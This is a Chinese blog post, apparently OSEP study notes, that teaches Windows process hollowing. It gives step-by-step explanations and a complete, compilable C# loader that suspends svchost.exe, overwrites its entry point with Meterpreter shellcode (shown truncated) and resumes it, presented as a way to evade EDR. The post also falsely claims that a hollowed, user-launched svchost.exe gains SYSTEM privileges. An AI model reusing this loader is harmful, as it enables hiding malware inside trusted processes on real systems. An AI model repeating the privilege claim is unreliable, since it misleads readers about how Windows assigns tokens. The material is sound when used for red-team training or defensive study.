戰小欢
发布于 2026-03-04 / 7 阅读
0
0

OSEP—Process Hollowing

进程镂空(Process Hollowing,又称进程挖空、进程替换)是 Windows 平台高级进程注入技术,核心是创建合法进程并挂起,清空其原有代码,替换为恶意代码后恢复执行,让恶意行为伪装在系统信任进程(如 svchost.exe)中,大幅提升隐蔽性与权限,是渗透测试与红队对抗 EDR 的核心手段。

一、核心原理与设计目标

1. 解决的核心痛点

 常规注入无法突破完整性级别限制:svchost.exe 默认运行在SYSTEM 完整性级别,普通用户进程(中等完整性)无法直接注入。

 规避安全检测:svchost.exe 是 Windows 核心系统进程,天然产生网络通信,恶意代码运行其中可伪装成正常系统行为。

 提升权限:通过替换系统进程代码,可获取与目标进程一致的高权限(如 SYSTEM 权限)。

2. 核心逻辑

1. 挂起状态创建目标合法进程(如 svchost.exe),此时进程已完成内存分配、PE 加载,但主线程未执行任何代码。

2. 解析目标进程的PE 文件结构,定位其代码入口点(EntryPoint)。

3. 用恶意代码(如 Meterpreter Shellcode)覆盖目标进程入口点及对应内存区域。

4. 恢复挂起的主线程,恶意代码以目标进程身份执行,实现“借壳运行”。

3. 关键技术前提

 挂起进程创建:必须通过原生 CreateProcessW API 实现,.NET 高级 API(如 Process.Start)不支持挂起模式。

 PE 结构解析:需掌握 Windows PE 文件格式,定位基地址、PE 头、入口点 RVA(相对虚拟地址)。

 跨进程内存操作:依赖 ReadProcessMemory、WriteProcessMemory 实现远程进程内存读写。

 线程控制:通过 ResumeThread 恢复挂起线程,触发恶意代码执行。

二、核心API与数据结构(C# P/Invoke实现)

进程镂空依赖 Windows 原生 API,需通过 C# 的 P/Invoke 导入,以下是核心组件:

1. 核心API清单

API 名称

核心作用

关键参数 / 标志

CreateProcessW

创建挂起的目标进程

dwCreationFlags=0x4(CREATE_SUSPENDED)

ZwQueryInformationProcess

获取进程基础信息(含 PEB 地址)

ProcessInformationClass=0(ProcessBasicInformation)

ReadProcessMemory

读取远程进程内存

目标进程句柄、内存地址、缓冲区、读取长度

WriteProcessMemory

写入远程进程内存

目标进程句柄、内存地址、恶意代码、写入长度

ResumeThread

恢复挂起的主线程

目标进程主线程句柄

GetModuleHandle/GetProcAddress

(辅助)获取系统 DLL/API 地址

用于定位 LoadLibraryA 等系统函数

2. 核心数据结构(P/Invoke定义)

(1)STARTUPINFO:进程启动配置

[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
struct STARTUPINFO
{
    public Int32 cb; // 结构体大小,必须赋值
    public IntPtr lpReserved; // 保留,设为IntPtr.Zero
    public IntPtr lpDesktop; // 桌面名,默认即可
    public IntPtr lpTitle; // 窗口标题,默认即可
    // 其余窗口相关参数,均设为0或IntPtr.Zero
    public Int32 dwX;
    public Int32 dwY;
    public Int32 dwXSize;
    public Int32 dwYSize;
    public Int32 dwXCountChars;
    public Int32 dwYCountChars;
    public Int32 dwFillAttribute;
    public Int32 dwFlags;
    public Int16 wShowWindow;
    public Int16 cbReserved2;
    public IntPtr lpReserved2;
    public IntPtr hStdInput;
    public IntPtr hStdOutput;
    public IntPtr hStdError;
}

(2)PROCESS_INFORMATION:进程信息输出

[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_INFORMATION
{
    public IntPtr hProcess; // 目标进程句柄(核心)
    public IntPtr hThread;  // 目标进程主线程句柄(核心)
    public int dwProcessId; // 进程ID
    public int dwThreadId;  // 线程ID
}

(3)PROCESS_BASIC_INFORMATION:进程基础信息(含PEB)

[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_BASIC_INFORMATION
{
    public IntPtr Reserved1; // 保留
    public IntPtr PebAddress; // PEB(进程环境块)地址(核心)
    public IntPtr Reserved2; // 保留
    public IntPtr Reserved3; // 保留
    public IntPtr UniquePid;  // 进程唯一ID
    public IntPtr MoreReserved; // 保留
}

三、完整实现步骤(C#代码+原理拆解)

步骤1:创建挂起的目标进程(以svchost.exe为例)

(1)API导入

[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, 
    IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, 
    uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, 
    [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);

(2)代码实现

// 初始化启动配置与进程信息结构体
STARTUPINFO si = new STARTUPINFO();
si.cb = Marshal.SizeOf(si); // 必须赋值结构体大小
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
 
// 创建挂起的svchost.exe进程(关键:dwCreationFlags=0x4=CREATE_SUSPENDED)
bool createSuccess = CreateProcess(
    null, // 应用名,设为null,通过命令行指定进程
    "C:\\Windows\\System32\\svchost.exe", // 目标进程路径
    IntPtr.Zero, // 进程安全属性,默认
    IntPtr.Zero, // 线程安全属性,默认
    false, // 不继承句柄
    0x4, // CREATE_SUSPENDED,核心挂起标志
    IntPtr.Zero, // 环境变量,默认
    null, // 当前目录,默认
    ref si, // 启动配置
    out pi // 输出进程信息(含进程/线程句柄)
);
 
if (!createSuccess)
{
    Console.WriteLine($"创建挂起进程失败,错误码:{Marshal.GetLastWin32Error()}");
    return;
}
// 后续操作依赖pi.hProcess(进程句柄)和pi.hThread(主线程句柄)

(3)原理拆解

 CreateProcessW 执行后,系统完成 3 件事:分配虚拟内存、创建 PEB/TEB、加载 svchost.exe 的 PE 文件到内存,但主线程处于挂起状态,未执行任何代码。

 必须指定 svchost.exe 完整路径,否则无法创建系统进程。

步骤2:获取目标进程的PEB地址(定位进程基地址)

(1)API导入

[DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]
private static extern int ZwQueryInformationProcess(IntPtr hProcess, 
    int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation, 
    uint ProcInfoLen, ref uint retlen);

(2)代码实现

PROCESS_BASIC_INFORMATION pbi = new PROCESS_BASIC_INFORMATION();
uint returnLength = 0;
 
// 查询进程基础信息,获取PEB地址(procInformationClass=0=ProcessBasicInformation)
int queryStatus = ZwQueryInformationProcess(
    pi.hProcess, // 目标进程句柄
    0, // 查询类型:进程基础信息
    ref pbi, // 输出结构体(含PEB地址)
    (uint)(IntPtr.Size * 6), // 结构体大小(6个IntPtr)
    ref returnLength // 实际返回长度
);
 
if (queryStatus != 0) // NTSTATUS=0表示成功
{
    Console.WriteLine($"查询PEB失败,状态码:{queryStatus:X}");
    return;
}
 
// 从PEB中获取进程基地址(PEB偏移0x10处存储ImageBase)
IntPtr pImageBase = (IntPtr)((long)pbi.PebAddress + 0x10);

(3)原理拆解

 ZwQueryInformationProcess 是 ntdll.dll 中的底层 API,用于获取进程各类信息,ProcessBasicInformation(0)可返回 PEB 地址。

 PEB(进程环境块)是 Windows 内核为每个进程维护的核心数据结构,偏移 0x10 处存储进程的 ImageBase(基地址),即 PE 文件在内存中的加载起始地址。

步骤3:读取PE头,定位入口点(EntryPoint)

(1)API导入(ReadProcessMemory)

[DllImport("kernel32.dll", SetLastError = true)]
static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, 
    [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);

(2)代码实现(PE结构解析核心)

// 1. 读取进程基地址(ImageBase)的值(64位进程读8字节)
byte[] imageBaseBuffer = new byte[IntPtr.Size];
IntPtr bytesRead = IntPtr.Zero;
ReadProcessMemory(pi.hProcess, pImageBase, imageBaseBuffer, imageBaseBuffer.Length, out bytesRead);
IntPtr svchostBase = (IntPtr)BitConverter.ToInt64(imageBaseBuffer, 0); // 64位进程用ToInt64
 
// 2. 读取PE头前0x200字节(足够解析核心结构)
byte[] peHeaderBuffer = new byte[0x200];
ReadProcessMemory(pi.hProcess, svchostBase, peHeaderBuffer, peHeaderBuffer.Length, out bytesRead);
 
// 3. 解析PE结构,定位入口点RVA
// (1)读取e_lfanew:偏移0x3C处,存储PE头相对于ImageBase的偏移
uint e_lfanew = BitConverter.ToUInt32(peHeaderBuffer, 0x3C);
// (2)定位可选头入口点:PE头偏移0x28处,存储入口点RVA(相对虚拟地址)
uint entryPointRva = BitConverter.ToUInt32(peHeaderBuffer, (int)(e_lfanew + 0x28));
// (3)计算绝对入口地址:ImageBase + 入口点RVA
IntPtr entryPointAddress = (IntPtr)((ulong)svchostBase + entryPointRva);

(3)PE结构解析原理(关键)

Windows PE 文件结构固定,核心解析逻辑:

1. MZ 头:PE 文件起始(偏移 0x00)为 0x5A4D(MZ 标志),偏移 0x3C 处的 e_lfanew 字段,存储PE 头相对于 ImageBase 的偏移

2. PE 头:ImageBase + e_lfanew 即为 PE 头起始地址,PE 头偏移 0x28 处的 AddressOfEntryPoint 字段,存储入口点 RVA(相对虚拟地址,相对于 ImageBase 的偏移)。

3. 绝对入口地址:ImageBase + AddressOfEntryPoint,即进程代码的实际执行起始地址。

步骤4:写入恶意代码(覆盖入口点)

(1)API导入(WriteProcessMemory)

[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, 
    byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);

(2)代码实现

// 生成64位Meterpreter Shellcode(msfvenom生成,示例为截断)
byte[] maliciousShellcode = new byte[] {
    0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xcc, 0x00, 0x00, 0x00,
    // 省略剩余Shellcode(完整长度约600-700字节)
};
 
// 将恶意代码写入目标进程的入口点内存
bool writeSuccess = WriteProcessMemory(
    pi.hProcess, // 目标进程句柄
    entryPointAddress, // 入口点绝对地址
    maliciousShellcode, // 恶意代码
    maliciousShellcode.Length, // 代码长度
    out bytesRead // 实际写入长度
);
 
if (!writeSuccess)
{
    Console.WriteLine($"写入恶意代码失败,错误码:{Marshal.GetLastWin32Error()}");
    return;
}

(3)原理拆解

 入口点是进程执行的起始位置,覆盖此处后,线程恢复执行时会直接运行恶意代码,而非原 svchost.exe 的合法代码。

 需确保恶意代码长度不超过入口点所在内存页的可用空间,否则会覆盖其他关键数据导致进程崩溃。

步骤5:恢复挂起线程,执行恶意代码

(1)API导入(ResumeThread)

[DllImport("kernel32.dll", SetLastError = true)]
private static extern uint ResumeThread(IntPtr hThread);

(2)代码实现

// 恢复挂起的主线程,触发恶意代码执行
uint resumeResult = ResumeThread(pi.hThread);
 
if (resumeResult == uint.MaxValue)
{
    Console.WriteLine($"恢复线程失败,错误码:{Marshal.GetLastWin32Error()}");
    return;
}
 
Console.WriteLine("进程镂空完成,恶意代码已在svchost.exe中执行!");

(3)原理拆解

 ResumeThread 会将挂起的主线程从“暂停”状态切换为“运行”状态,此时线程会从入口点地址开始执行,即我们写入的恶意代码。

 恶意代码以 svchost.exe 的身份运行,拥有与 svchost.exe 一致的权限(通常为 SYSTEM),且网络行为伪装为系统进程通信。

四、完整C#代码示例(可直接编译运行)

using System;
using System.Runtime.InteropServices;
 
namespace ProcessHollowing
{
    class Program
    {
        // 1. 核心API导入
        [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
        static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, 
            IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, 
            uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, 
            [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
 
        [DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]
        private static extern int ZwQueryInformationProcess(IntPtr hProcess, 
            int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation, 
            uint ProcInfoLen, ref uint retlen);
 
        [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, 
            [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);
 
        [DllImport("kernel32.dll")]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, 
            byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
 
        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern uint ResumeThread(IntPtr hThread);
 
        // 2. 核心数据结构
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
        struct STARTUPINFO
        {
            public Int32 cb;
            public IntPtr lpReserved;
            public IntPtr lpDesktop;
            public IntPtr lpTitle;
            public Int32 dwX;
            public Int32 dwY;
            public Int32 dwXSize;
            public Int32 dwYSize;
            public Int32 dwXCountChars;
            public Int32 dwYCountChars;
            public Int32 dwFillAttribute;
            public Int32 dwFlags;
            public Int16 wShowWindow;
            public Int16 cbReserved2;
            public IntPtr lpReserved2;
            public IntPtr hStdInput;
            public IntPtr hStdOutput;
            public IntPtr hStdError;
        }
 
        [StructLayout(LayoutKind.Sequential)]
        internal struct PROCESS_INFORMATION
        {
            public IntPtr hProcess;
            public IntPtr hThread;
            public int dwProcessId;
            public int dwThreadId;
        }
 
        [StructLayout(LayoutKind.Sequential)]
        internal struct PROCESS_BASIC_INFORMATION
        {
            public IntPtr Reserved1;
            public IntPtr PebAddress;
            public IntPtr Reserved2;
            public IntPtr Reserved3;
            public IntPtr UniquePid;
            public IntPtr MoreReserved;
        }
 
        static void Main(string[] args)
        {
            // 步骤1:创建挂起的svchost.exe进程
            STARTUPINFO si = new STARTUPINFO();
            si.cb = Marshal.SizeOf(si);
            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
 
            bool createSuccess = CreateProcess(
                null,
                "C:\\Windows\\System32\\svchost.exe",
                IntPtr.Zero,
                IntPtr.Zero,
                false,
                0x4, // CREATE_SUSPENDED
                IntPtr.Zero,
                null,
                ref si,
                out pi
            );
 
            if (!createSuccess)
            {
                Console.WriteLine($"创建挂起进程失败:{Marshal.GetLastWin32Error()}");
                return;
            }
 
            // 步骤2:获取PEB地址,定位ImageBase
            PROCESS_BASIC_INFORMATION pbi = new PROCESS_BASIC_INFORMATION();
            uint returnLength = 0;
            int queryStatus = ZwQueryInformationProcess(
                pi.hProcess,
                0,
                ref pbi,
                (uint)(IntPtr.Size * 6),
                ref returnLength
            );
 
            if (queryStatus != 0)
            {
                Console.WriteLine($"查询PEB失败:{queryStatus:X}");
                return;
            }
 
            IntPtr pImageBase = (IntPtr)((long)pbi.PebAddress + 0x10);
 
            // 步骤3:读取ImageBase,解析PE头定位入口点
            byte[] imageBaseBuffer = new byte[IntPtr.Size];
            IntPtr bytesRead = IntPtr.Zero;
            ReadProcessMemory(pi.hProcess, pImageBase, imageBaseBuffer, imageBaseBuffer.Length, out bytesRead);
            IntPtr svchostBase = (IntPtr)BitConverter.ToInt64(imageBaseBuffer, 0);
 
            byte[] peHeaderBuffer = new byte[0x200];
            ReadProcessMemory(pi.hProcess, svchostBase, peHeaderBuffer, peHeaderBuffer.Length, out bytesRead);
 
            uint e_lfanew = BitConverter.ToUInt32(peHeaderBuffer, 0x3C);
            uint entryPointRva = BitConverter.ToUInt32(peHeaderBuffer, (int)(e_lfanew + 0x28));
            IntPtr entryPointAddress = (IntPtr)((ulong)svchostBase + entryPointRva);
 
            // 步骤4:写入恶意Shellcode(替换为实际生成的Shellcode)
            byte[] maliciousShellcode = new byte[] {
                0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xcc, 0x00, 0x00, 0x00,
                // 此处替换为完整的64位Meterpreter Shellcode
            };
 
            bool writeSuccess = WriteProcessMemory(
                pi.hProcess,
                entryPointAddress,
                maliciousShellcode,
                maliciousShellcode.Length,
                out bytesRead
            );
 
            if (!writeSuccess)
            {
                Console.WriteLine($"写入Shellcode失败:{Marshal.GetLastWin32Error()}");
                return;
            }
 
            // 步骤5:恢复线程,执行恶意代码
            uint resumeResult = ResumeThread(pi.hThread);
            if (resumeResult == uint.MaxValue)
            {
                Console.WriteLine($"恢复线程失败:{Marshal.GetLastWin32Error()}");
                return;
            }
 
            Console.WriteLine("进程镂空执行成功!");
        }
    }
}


评论